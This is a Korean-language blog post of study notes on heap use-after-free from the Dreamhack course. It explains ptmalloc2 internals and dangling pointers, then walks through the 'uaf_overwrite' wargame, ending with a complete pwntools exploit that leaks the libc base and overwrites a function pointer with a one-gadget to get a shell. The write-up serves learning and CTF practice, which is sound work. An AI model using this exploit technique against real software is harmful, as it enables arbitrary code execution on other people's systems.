System Hacking

Use After Free | dreamhack

burrri 2024. 3. 17. 04:12

ptmalloc2

memory allocator는 한정된 메모리 자원을 각 프로세스에 효율적으로 배분하여 
동적으로 할당하고, 할당한 메모리의 쓰임이 다하면 해제하여 관리한다.

 

memory allocator에 사용되는 알고리즘

: 리눅스 - ptmalloc2 / 구글 - tcmalloc 등

 

ptmalloc2

1. 메모리 낭비 방지

메모리 할당 요청이 발생하면, 먼저 해제된 메모리 공간 중에서 재사용할 수 있는 공간 탐색

: 해제된 메모리 공간 중에서 요청된 크기와 같은 크기의 메모리 공간이 있다면 이를 그대로 재사용

 

2. 빠른 메모리 재사용

tcache 또는 bin이라는 연결 리스트에 해제된 메모리 공간의 주소를 기억

: 서로다른 크기의 메모리 공간을 저장 => 특정 크기 할당 요청 시 크기에 관련된 저장소만 탐색

 

3. 메모리 단편화 방지  (memory fragmentation)

- 내부 단편화 internal fragmentation : 할당 mem > 실제 data

- 외부 단편화 external fragmentaion : 할당 mem 공간들 사이에 공간이 많아서 생기는 비효율

=> 해결하기 위해

 

정렬 alignment 

64비트 환경에서 ptmalloc은 메모리 공간을 16바이트 단위로 할당

-> 사용자가 어떤 크기의 메모리 공간을 요청하면, 그보다 조금 크거나 같은 16바이트 단위의 메모리 공간을 제공

==> 이렇게 공간을 정렬하면 16바이트 이내의 내부 단편화가 발생할 수 있지만, 역설적으로 외부 단편화를 감소시키는 효과 존재 

 

공간을 정렬하지 않고, 프로세스가 요청하는 만큼 할당할 수 있다면 모든 데이터가 연속적으로 할당되어 외부 단편화를 최소화할 수 있을 것 같으나,

공간을 해제하고 재사용할 때, 정확히 같은 크기의 할당 요청이 발생할 확률은 희박

==> 비슷한 크기의 요청에 대해서는 모두 같은 크기의 공간을 반환해야 해제된 청크들의 재사용률을 높이고, 외부 단편화도 줄일 수 있습니다.

 

병합 coalescence & 분할 split

ptmalloc은 특정 조건을 만족->  해제된 공간들을 병합

병합으로 생성된 큰 공간은 그 공간과 같은 크기의 요청에 의해, 또는 그보다 작은 요청에 의해 분할되어 재사용

잘게 나뉜 영역을 병합하고, 필요할 때 구역을 다시 설정함으로써 해제된 공간의 재사용률을 높이고, 외부 단편화를 줄인다.

 

ptmalloc의 객체

chunck : ptmalloc2가 메모리를 할당하는 단위

bins : 해제된 청크들을 보관, bin을 이용하여 청크를 빠르게 재할당하고, 단편화 최소화

( fastbin, smallbin, largebin, unsortedbin 존재)

arena : ptmallloc이 관리하는 메모리들의 정보o, 모든 스레드가 공유하는 자원

 -> 한 스레드의 점유 시 race condition을 막기위해 lock ( 64개 최대)

tcache : 스레드마다 해제된 청크를 보관하는 저장소로 각 tcache마다 7개의 청크 보관 가능 

 

(참고)

https://learn.dreamhack.io/569#9


Use After Free

메모리 참조에 사용한 포인터를 메모리 free후에 적절히 초기화x거나, free 메모리를 쵝화하지 않고 다음 청크에 재할당

=> use-after-free 취약점 

 

Dangling Pointer : 유효하지 않은 메모리 영역을 가리키는 포인터

malloc함수 : 할당한 메모리 주소를 반환

(과정 | 동적할당시 포인터 선언 - 포인터에 malloc함수의 할당 메모리 주소 저장 - *참조하여 메모리에 접근)

 

free함수 : 청크를 ptmalloc에 반환 only => 주소를 담고있던 포인터를 초기화하지 x == dangling pointer

// Name: dangling_ptr.c
// Compile: gcc -o dangling_ptr dangling_ptr.c
#include <stdio.h>
#include <stdlib.h>

int main() {
  char *ptr = NULL;
  int idx;

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        if (ptr) {
          printf("Already allocated\n");
          break;
        }
        ptr = malloc(256);
        break;
      case 2:
        if (!ptr) {
          printf("Empty\n");
        }
        
        # 얘는 pointer변수 ptr이 가리키던 메모리를 free
        # 그러나 ptr변수 자체를 초기화하지는 않음
        free(ptr);
        break;
      default:
        break;
    }
  }
}

 

 

UAF (use-after-free)

해제된 메모리에 접근할 수 있을 때 발생되는 취약점

: 요인 - dangling pointer, 기존 할당영역 초기화없이 재사용

 

// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct NameTag {
  char team_name[16];
  char name[32];
  void (*func)();
};

struct Secret {
  char secret_name[16];
  char secret_info[32];
  long code;
};

int main() {
  int idx;

  struct NameTag *nametag;
  struct Secret *secret;

  secret = malloc(sizeof(struct Secret));

  strcpy(secret->secret_name, "ADMIN PASSWORD");
  strcpy(secret->secret_info, "P@ssw0rd!@#");
  secret->code = 0x1337;

  free(secret);
  secret = NULL;

  nametag = malloc(sizeof(struct NameTag));

  strcpy(nametag->team_name, "security team");
  memcpy(nametag->name, "S", 1);

  printf("Team Name: %s\n", nametag->team_name);
  printf("Name: %s\n", nametag->name);

  if (nametag->func) {
    printf("Nametag function: %p\n", nametag->func);
    nametag->func();
  }
}

- ptmalloc2는 새로운 할당요청이 들어왔을때, 요청된 크기가 비슷하면  bin/ tcache에 존재하는 지 확인하고 있으면 재사용

- 이때 위의 secret과 nametag는 동일한 크기의 구조체 => 재사용 : 동일한 메모리 영역 사용

 

- 이때, free(secret), pointer는 초기화했으나, 메모리의 데이터 자체는 초기화 하지않으므로 nametag에는 secret정보의 값이 일부 존재하여 출력

 

 

$heap명령어를 통해 할당, free된 청크의 정보 조회가능

 


uaf_oeverwrite

https://dreamhack.io/wargame/challenges/357/

- amd64 (64bit)

- Full RELRO, canary, NX, PIE 적용 ㅎ

 

 

주요 소스코드 분석

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

- struck Human ,Robot : 크기 동일

- human_func : 구조체 변수를 위한 메모리 할당시에 초기화x 

- robot_func : 구조체 변수 초기화x, Robot변수의 fptr이 NULL아니면 이를 호출 => 변수에 원하는 값을 남겨놓으면 실행 흐름 조작가능!

- customfunc : 0x100 이상의 크기를 갖는 청크 할당 및 해제 가능 , 메모리 초기화x 

 

시나리오

Robot.fptr 의 값을 원 가젯의 주소로 overwrite하여 셸 획득 하기 위해

libc가 매핑된 주소를 알아야한다.

 

1. library leak

unsorted bin에 첫 연결 청크는 libc영역의 특정 주소와 이중 원형 연결 리스트를 형성한다. 

첫 청크는 fd, bk의 값 => libc영역의 특정 주소 

==> unsorted bin에 연결된 청크를 재할당 후 , UAF취약점으로 fd나 bk의 값을 읽어와 libc 주소를 구하자

 

위의 custom_func함수는 0x100바이트의 청크

=> 0x410이하 크기의 청크는 tcache에 삽입 / 더 큰 청크를 해제해서 unsorted bin에 연결하고, 이를 재할당하여 읽으면 libc base주소 get!

 

+ 여기서 주의할 점은, 해제할 청크가 탑 청크와 맞닿으면 안 된다는 것입니다. unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로, 이 둘이 맞닿으면 청크가 병합됩니다. 이를 피하려면 청크 두 개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다

 

2. 함수 포인터 덮어쓰기

Human 크기 == Robot 크기

-> human해제되고 초기화x => Robot 할당 시 재사용

 

Human -> age 의 위치 == Robot-> fptr 의 위치이므로

Human age에 원가젯 주소를 입력하고 이어서 Robot fptr을 호출 ! 

 

Exploit

1. 라이브러리 릭

#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)

 

 

2. 함수 포인터 덮어쓰기

# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()

 

Exploit code

#!/usr/bin/env python3
# Name: uaf_overwrite.py
from pwn import *

p = process('./uaf_overwrite')

def slog(sym, val): success(sym + ': ' + hex(val))

def human(weight, age):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b': ', str(weight).encode())
    p.sendlineafter(b': ', str(age).encode())

def robot(weight):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b': ', str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b': ', str(size).encode())
    p.sendafter(b': ', data)
    p.sendlineafter(b': ', str(idx).encode())

# UAF to calculate the `libc_base`
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', -1)
custom(0x500, b'AAAA', 0)
custom(0x500, b'B', -1) # data 값이 'B'가 아니라 'C'가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.

lb = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebc42
og = lb + 0x10a41c # 제약 조건을 만족하는 원가젯 주소 계산

slog('libc_base', lb)
slog('one_gadget', og)
# UAF to manipulate `robot->fptr` & get shell
human(1, og)
robot(1)

p.interactive()